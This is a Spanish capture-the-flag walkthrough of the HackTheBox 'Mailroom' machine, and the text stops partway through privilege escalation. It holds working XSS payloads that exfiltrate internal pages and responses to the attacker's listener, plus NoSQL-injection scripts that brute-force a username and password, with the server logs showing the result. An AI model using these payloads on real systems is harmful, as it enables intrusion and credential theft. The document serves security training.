Mailroom es una máquina de dificultad difícil en la plataforma de HTB. Para acceder deberemos realizar a través de un XSS un NO-SQLI para poder obtener las credenciales del usuario. Una vez en la máquina deberemos hacer un port forwarding de la web de la máquina y acceder mediante el token que se encuentra en un archivo mail. Una vez hemos accedido a dicho panel deberemos realizar un RCE para acceder a un contenedor docker donde obtendremos las credenciales del usuario matthew. Para escalar privilegios, deberemos obtener la contraseña de un archivo de contraseñas keepass mediante un proceso de kpcli y con el comando strace.

Enumeración

Escaneo de puertos

Realizamos un escaneo básico sobre la máquina para descubrir los puertos abiertos.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.59.124 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-16 17:08 CEST
Initiating SYN Stealth Scan at 17:08
Scanning 10.129.59.124 [65535 ports]
Discovered open port 80/tcp on 10.129.59.124
Discovered open port 22/tcp on 10.129.59.124
Completed SYN Stealth Scan at 17:08, 12.23s elapsed (65535 total ports)
Nmap scan report for 10.129.59.124
Host is up, received user-set (0.046s latency).
Scanned at 2023-04-16 17:08:23 CEST for 13s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.36 seconds
           Raw packets sent: 66701 (2.935MB) | Rcvd: 65535 (2.621MB)

Encontramos 2 puertos abiertos: el 22 (SSH) y el 80 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Realizamos un escaneo sobre los servicios y versiones que corren en los puertos abiertos.

❯ nmap -p22,80 -sCV 10.129.59.124 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-16 17:11 CEST
Nmap scan report for 10.129.59.124
Host is up (0.065s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: The Mail Room
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.44 seconds

Visitamos la web, al final de la misma podremos encontrar el nombre del dominio mailroom.htb así que lo añadimos al "/etc/hosts".

HTB

En la web hay un formulario de contacto en la ruta /contact.php que es vulnerable a XSS, pero de momento no podemos hacer nada, así que seguimos enumerando.

Realizamos un escaneo de los directorios de la web intentando encontrar alguna ruta interesante, pero no podremos acceder a la gran mayoría.

❯ dirsearch -u http://mailroom.htb -t 200

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/mailroom.htb/_23-04-16_17-43-24.txt

Error Log: /root/.dirsearch/logs/errors-23-04-16_17-43-24.log

Target: http://mailroom.htb/

[17:43:24] Starting: 
[17:43:25] 301 -  309B  - /js  ->  http://mailroom.htb/js/
[17:43:25] 403 -  277B  - /.ht_wsr.txt
[17:43:25] 403 -  277B  - /.htaccess.bak1
[17:43:25] 403 -  277B  - /.htaccess.sample
[17:43:25] 403 -  277B  - /.htaccess.orig
[17:43:25] 403 -  277B  - /.htaccess_orig
[17:43:25] 403 -  277B  - /.htaccess.save
[17:43:25] 403 -  277B  - /.htaccess_extra
[17:43:25] 403 -  277B  - /.htaccess_sc
[17:43:25] 403 -  277B  - /.htaccessBAK
[17:43:25] 403 -  277B  - /.htaccessOLD
[17:43:25] 403 -  277B  - /.htaccessOLD2
[17:43:25] 403 -  277B  - /.htm
[17:43:25] 403 -  277B  - /.html
[17:43:25] 403 -  277B  - /.htpasswds
[17:43:25] 403 -  277B  - /.htpasswd_test
[17:43:25] 403 -  277B  - /.httr-oauth
[17:43:28] 200 -    0B  - /README.md
[17:43:29] 200 -    7KB - /about.php
[17:43:33] 301 -  313B  - /assets  ->  http://mailroom.htb/assets/
[17:43:34] 403 -  277B  - /assets/
[17:43:36] 200 -    4KB - /contact.php
[17:43:36] 301 -  310B  - /css  ->  http://mailroom.htb/css/
[17:43:40] 200 -    8KB - /index.php
[17:43:40] 200 -    8KB - /index.php/login/
[17:43:40] 301 -  317B  - /javascript  ->  http://mailroom.htb/javascript/
[17:43:40] 403 -  277B  - /js/
[17:43:47] 403 -  277B  - /server-status
[17:43:47] 403 -  277B  - /server-status/
[17:43:48] 403 -  277B  - /template
[17:43:49] 403 -  277B  - /template/

Task Completed

Mediante ffuf enumeramos subdominios de la máquina.

❯ ffuf -w /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.mailroom.htb" -u http://mailroom.htb -fs 7746

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://mailroom.htb
 :: Wordlist         : FUZZ: /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.mailroom.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 7746
________________________________________________

git                     [Status: 200, Size: 13089, Words: 1009, Lines: 268]

Encontramos que hay un subdominio git así que lo añadimos al /etc/hosts.

Si visitamos el subdominio encontraremos que se trata de Gitea.

Volvemos a realizar una enumeración de directorios, pero esta vez sobre el subdominio.

❯ dirsearch -u http://git.mailroom.htb -t 200 -x 500

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/git.mailroom.htb/_23-04-16_17-59-02.txt

Error Log: /root/.dirsearch/logs/errors-23-04-16_17-59-02.log

Target: http://git.mailroom.htb/

[17:59:02] Starting: 
[17:59:09] 200 -    1KB - /.well-known/openid-configuration
[17:59:30] 303 -   38B  - /admin  ->  /user/login
[17:59:31] 303 -   38B  - /admin/  ->  /user/login
[17:59:31] 303 -   38B  - /admin/?/login  ->  /user/login
[17:59:48] 200 -   15KB - /administrator/
[17:59:48] 200 -  768B  - /api/swagger
[18:00:13] 303 -   41B  - /explore  ->  /explore/repos
[18:00:13] 200 -   14KB - /explore/repos
[18:00:13] 301 -   58B  - /favicon.ico  ->  /assets/img/favicon.png
[18:00:22] 303 -   38B  - /issues  ->  /user/login
[18:00:52] 403 -  281B  - /server-status/
[18:00:52] 403 -  281B  - /server-status
[18:00:57] 200 -  267B  - /sitemap.xml
[18:01:05] 200 -    9KB - /user/login/
[18:01:06] 401 -   50B  - /v2
[18:01:06] 401 -   50B  - /v2/
[18:01:06] 401 -   50B  - /v2/_catalog

Task Completed

En este escaneo hay varios archivos y directorios interesantes que serían los siguientes:

[17:59:48] 200 -   15KB - /administrator/
[18:00:13] 200 -   14KB - /explore/repos
[18:00:57] 200 -  267B  - /sitemap.xml

Primer Directorio

Si visitamos el primer directorio podremos ver si hay algún repositorio del usuario administrador, pero no será el caso, podemos intuir que si conocemos algún usuario podremos ver algún repositorio sin necesidad de saber alguna contraseña. Si volvemos a la web principal en la ruta /about.php encontraremos 4 posibles usuarios, así que lo que podemos hacer es probar si tienen algún repositorio.

-> Tristan Pitt
-> Matthew Conley
-> Chris McLovin
-> Vivien Perkins

Si probamos con todos los usuarios, el único que tiene repositorio es el usuario matthew.

Segundo Directorio

Si accedemos al segundo directorio nos mostrará directamente todos los repositorios existentes.

Tercer Directorio

El sitemap.xml nos revela otro archivo XML que nos da el nombre de todos los usuarios creados en Gitea.

Estas serían 3 maneras de descubrir nombres de usuario y repositorios existenentes en Gitea.

En el repositorio encontraremos una sección de código en el que nos da otro subdominio y que dicho dominio tiene un 2FA.

// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);

Abrimos el Burpsuite e interceptamos una petición del formulario de la web principal.

Realizamos una petición al subdominio staff-review-panel.mailroom.htb para que nos envíe el contenido de la web en base64.

<script>var url = "http://staff-review-panel.mailroom.htb/index.php";
var attacker = "http://10.10.14.96/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);</script>

Iniciamos nuestro servidor web.

❯ sudo python3 -m http.server 80
[sudo] contraseña para mrx: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

URL encodeamos todos los caracteres desde Burpsuite y le damos a Forward.

Para que nos llegue el contenido deberemos acceder al enlace de visualización del formulario enviado.

Obtenemos el contenido y lo pasamos a un archivo PHP.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.61.24 - - [17/Apr/2023 18:55:54] code 404, message File not found
10.129.61.24 - - [17/Apr/2023 18:55:54] "GET /exfil?CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iIC8+CiAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IiIgLz4KICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IiIgLz4KICA8dGl0bGU+SW5xdWlyeSBSZXZpZXcgUGFuZWw8L3RpdGxlPgogIDwhLS0gRmF2aWNvbi0tPgogIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiBocmVmPSJhc3NldHMvZmF2aWNvbi5pY28iIC8+CiAgPCEtLSBCb290c3RyYXAgaWNvbnMtLT4KICA8bGluayBocmVmPSJmb250L2Jvb3RzdHJhcC1pY29ucy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KICA8IS0tIENvcmUgdGhlbWUgQ1NTIChpbmNsdWRlcyBCb290c3RyYXApLS0+CiAgPGxpbmsgaHJlZj0iY3NzL3N0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KPC9oZWFkPgoKPGJvZHk+CiAgPGRpdiBjbGFzcz0id3JhcHBlciBmYWRlSW5Eb3duIj4KICAgIDxkaXYgaWQ9ImZvcm1Db250ZW50Ij4KCiAgICAgIDwhLS0gTG9naW4gRm9ybSAtLT4KICAgICAgPGZvcm0gaWQ9J2xvZ2luLWZvcm0nIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgPGgyPlBhbmVsIExvZ2luPC9oMj4KICAgICAgICA8aW5wdXQgcmVxdWlyZWQgdHlwZT0idGV4dCIgaWQ9ImVtYWlsIiBjbGFzcz0iZmFkZUluIHNlY29uZCIgbmFtZT0iZW1haWwiIHBsYWNlaG9sZGVyPSJFbWFpbCI+CiAgICAgICAgPGlucHV0IHJlcXVpcmVkIHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIGNsYXNzPSJmYWRlSW4gdGhpcmQiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJmYWRlSW4gZm91cnRoIiB2YWx1ZT0iTG9nIEluIj4KICAgICAgICA8cCBoaWRkZW4gaWQ9Im1lc3NhZ2UiIHN0eWxlPSJjb2xvcjogIzhGOEY4RiI+T25seSBzaG93IHRoaXMgbGluZSBpZiByZXNwb25zZSAtIGVkaXQgY29kZTwvcD4KICAgICAgPC9mb3JtPgoKICAgICAgPCEtLSBSZW1pbmQgUGFzc293cmQgLS0+CiAgICAgIDxkaXYgaWQ9ImZvcm1Gb290ZXIiPgogICAgICAgIDxhIGNsYXNzPSJ1bmRlcmxpbmVIb3ZlciIgaHJlZj0icmVnaXN0ZXIuaHRtbCI+Q3JlYXRlIGFuIGFjY291bnQ8L2E+CiAgICAgIDwvZGl2PgoKICAgIDwvZGl2PgogIDwvZGl2PgoKICA8IS0tIEJvb3RzdHJhcCBjb3JlIEpTLS0+CiAgPHNjcmlwdCBzcmM9ImpzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIj48L3NjcmlwdD4KCiAgPCEtLSBMb2dpbiBGb3JtLS0+CiAgPHNjcmlwdD4KICAgIC8vIEdldCB0aGUgZm9ybSBlbGVtZW50CiAgICBjb25zdCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luLWZvcm0nKTsKCiAgICAvLyBBZGQgYSBzdWJtaXQgZXZlbnQgbGlzdGVuZXIgdG8gdGhlIGZvcm0KICAgIGZvcm0uYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgZXZlbnQgPT4gewogICAgICAvLyBQcmV2ZW50IHRoZSBkZWZhdWx0IGZvcm0gc3VibWlzc2lvbgogICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgLy8gU2VuZCBhIFBPU1QgcmVxdWVzdCB0byB0aGUgbG9naW4ucGhwIHNjcmlwdAogICAgICBmZXRjaCgnL2F1dGgucGhwJywgewogICAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICAgIGJvZHk6IG5ldyBVUkxTZWFyY2hQYXJhbXMobmV3IEZvcm1EYXRhKGZvcm0pKSwKICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyB9CiAgICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gewogICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7CgogICAgICB9KS50aGVuKGRhdGEgPT4gewogICAgICAgIC8vIERpc3BsYXkgdGhlIG5hbWUgYW5kIG1lc3NhZ2UgaW4gdGhlIHBhZ2UKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWVzc2FnZScpLnRleHRDb250ZW50ID0gZGF0YS5tZXNzYWdlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21lc3NhZ2UnKS5yZW1vdmVBdHRyaWJ1dGUoImhpZGRlbiIpOwogICAgICB9KS5jYXRjaChlcnJvciA9PiB7CiAgICAgICAgLy8gRGlzcGxheSBhbiBlcnJvciBtZXNzYWdlCiAgICAgICAgLy9hbGVydCgnRXJyb3I6ICcgKyBlcnJvcik7CiAgICAgIH0pOwogICAgfSk7CiAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg== HTTP/1.1" 404 -

Este sería el contenido del index.php del subdominio staff-review-panel.mailroom.htb.

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
  <meta name="description" content="" />
  <meta name="author" content="" />
  <title>Inquiry Review Panel</title>
  <!-- Favicon-->
  <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
  <!-- Bootstrap icons-->
  <link href="font/bootstrap-icons.css" rel="stylesheet" />
  <!-- Core theme CSS (includes Bootstrap)-->
  <link href="css/styles.css" rel="stylesheet" />
</head>

<body>
  <div class="wrapper fadeInDown">
    <div id="formContent">

      <!-- Login Form -->
      <form id='login-form' method="POST">
        <h2>Panel Login</h2>
        <input required type="text" id="email" class="fadeIn second" name="email" placeholder="Email">
        <input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password">
        <input type="submit" class="fadeIn fourth" value="Log In">
        <p hidden id="message" style="color: #8F8F8F">Only show this line if response - edit code</p>
      </form>

      <!-- Remind Passowrd -->
      <div id="formFooter">
        <a class="underlineHover" href="register.html">Create an account</a>
      </div>

    </div>
  </div>

  <!-- Bootstrap core JS-->
  <script src="js/bootstrap.bundle.min.js"></script>

  <!-- Login Form-->
  <script>
    // Get the form element
    const form = document.getElementById('login-form');

    // Add a submit event listener to the form
    form.addEventListener('submit', event => {
      // Prevent the default form submission
      event.preventDefault();

      // Send a POST request to the login.php script
      fetch('/auth.php', {
        method: 'POST',
        body: new URLSearchParams(new FormData(form)),
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
      }).then(response => {
        return response.json();

      }).then(data => {
        // Display the name and message in the page
        document.getElementById('message').textContent = data.message;
        document.getElementById('password').value = '';
        document.getElementById('message').removeAttribute("hidden");
      }).catch(error => {
        // Display an error message
        //alert('Error: ' + error);
      });
    });
  </script>
</body>
</html>

Intrusión

Activamos el servidor web en nuestra máquina

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora con Burpsuite interceptamos una petición del directorio /contact.php y en el título añadimos el siguiente script URL encodeando todos los caracteres.

var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function() {
  fetch("http://10.10.14.52/out?" + encodeURI(btoa(this.responseText)));
};

http.send("email[$ne]=1&password[$ne]=admin");

El script escrito en JavaScript, lo que hace es enviar una petición por POST a la ruta /auth.php intentando realizar un NO-SQLI y enviando la información en base64 hacia nuestro servidor.

Después de algunos intentos recibimos los datos de dicha petición, por la respuesta intuimos que es vulnerable a NO-SQLI.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.209 - - [20/Apr/2023 18:47:32] "GET /pwned.js HTTP/1.1" 200 -
10.10.14.52 - - [20/Apr/2023 18:47:46] "GET /pwned.js HTTP/1.1" 200 -
10.10.14.52 - - [20/Apr/2023 18:47:46] "GET /pwned.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Apr/2023 18:48:31] "GET /pwned.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Apr/2023 18:48:31] code 404, message File not found
10.10.11.209 - - [20/Apr/2023 18:48:31] "GET /out?eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ== HTTP/1.1" 404 -
^C
Keyboard interrupt received, exiting.

❯ echo "eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ==" | base64 -d

{"success":false,"message":"Invalid input detected"}{"success":true,"message":"Check your inbox for an email with your 2FA token"} 

Probamos a hacer lo mismo, pero esta vez tramitando la petición con la etiqueta de "script" que apunte a nuestro script.

Este es el script en JavaScript que utilizaremos para descubrir el nombre de usuario mediante el NO-SQLI.

async function callAuth(mail) {
    var content = await fetch("http://staff-review-panel.mailroom.htb/auth.php", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded"
        },
        "body": "email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc",
        "method": "POST"
    }).then(function (res) {
        return res.text();
    });
    return { d: mail, c: /"success":true/.test(content) }
}
function notify(pass) {
    fetch("http://10.10.14.52/out?"+pass, {});
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i]+mail).then(function (item) {
            if (item.c) {
                notify(item.d);
                cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", item.d);
            }
        });
    }
}
cal(chars, "");

Enviamos las peticiones desde Burpsuite y deberemos añadir los caracteres a cal(chars, "") así hasta completar el nombre de usuario que en este caso es tristan.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.209 - - [24/Apr/2023 00:11:55] "GET /userpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [24/Apr/2023 00:11:56] code 404, message File not found
10.10.11.209 - - [24/Apr/2023 00:11:56] "GET /out?n HTTP/1.1" 404 -
10.10.11.209 - - [24/Apr/2023 00:11:57] code 404, message File not found
10.10.11.209 - - [24/Apr/2023 00:11:57] "GET /out?an HTTP/1.1" 404 -
10.10.11.209 - - [24/Apr/2023 00:12:29] "GET /userpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [24/Apr/2023 00:12:49] "GET /userpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [24/Apr/2023 00:12:50] code 404, message File not found
10.10.11.209 - - [24/Apr/2023 00:12:50] "GET /out?tan HTTP/1.1" 404 -
10.10.11.209 - - [24/Apr/2023 00:12:50] code 404, message File not found
10.10.11.209 - - [24/Apr/2023 00:12:50] "GET /out?stan HTTP/1.1" 404 -
10.10.11.209 - - [24/Apr/2023 00:13:22] "GET /userpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [24/Apr/2023 00:13:23] code 404, message File not found
10.10.11.209 - - [24/Apr/2023 00:13:23] "GET /out?istan HTTP/1.1" 404 -
10.10.11.209 - - [24/Apr/2023 00:13:24] code 404, message File not found
10.10.11.209 - - [24/Apr/2023 00:13:24] "GET /out?ristan HTTP/1.1" 404 -
10.10.11.209 - - [24/Apr/2023 00:13:55] "GET /userpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [24/Apr/2023 00:14:12] "GET /userpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [24/Apr/2023 00:14:12] code 404, message File not found
10.10.11.209 - - [24/Apr/2023 00:14:12] "GET /out?tristan HTTP/1.1" 404 -

Volvemos a hacer lo mismo pero con la contraseña.

Mediante este script obtendremos las credenciales del usuario tristan.

async function callAuth(pass){
  var http = new XMLHttpRequest();
  http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  http.onload = function() {
    if (/"success":true/.test(this.responseText)){
      notify(pass);
      cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~")
    }
  };
  http.send("[email protected]&password[$regex]=^" + pass);
}

function notify(pass) {
  fetch("http://10.10.14.65/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~"
function cal(chars, pass){
  for (var i = 0; i < chars.length; i++) {
    callAuth(pass + chars[i])
  }
}
cal(chars, "");

Después de muchos envios obtenemos la contraseña.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.209 - - [25/Apr/2023 16:20:32] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:20:44] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:20:45] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:20:45] "GET /out?6 HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:21:18] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:21:18] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:21:18] "GET /out?69 HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:21:45] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:22:04] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:22:05] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:22:05] "GET /out?69t HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:22:37] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:22:38] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:22:38] "GET /out?69tr HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:22:55] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:07] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:08] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:23:08] "GET /out?69tri HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:23:28] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:29] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:23:29] "GET /out?69tris HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:23:41] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:42] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:23:42] "GET /out?69trisR HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:24:23] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:24:35] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:24:36] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:24:36] "GET /out?69trisRu HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:24:52] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:24:53] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:24:53] "GET /out?69trisRul HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:25:08] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:09] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:25:09] "GET /out?69trisRule HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:25:22] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:24] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:25:24] "GET /out?69trisRulez HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:25:37] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:46] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:48] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:25:48] "GET /out?69trisRulez! HTTP/1.1" 404 -

Nos conectamos a través de SSH con el usuario tristan y con la contraseña obtenida anteriormente.

❯ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-146-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 25 Apr 2023 02:35:42 PM UTC

  System load:                      0.02
  Usage of /:                       71.5% of 7.11GB
  Memory usage:                     17%
  Swap usage:                       0%
  Processes:                        268
  Users logged in:                  0
  IPv4 address for br-82d99cd66695: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.209
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:44ca

  => There is 1 zombie process.

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
tristan@mailroom:~$

Escalda de privilegios

Enumerando directorios de la máquina nos encontramos con dos archivos de correo donde obtenemos el token para acceder al subdominio.

tristan@mailroom:~$ cd /var/mail/
tristan@mailroom:/var/mail$ ls
root  tristan
tristan@mailroom:/var/mail$ cat tristan 
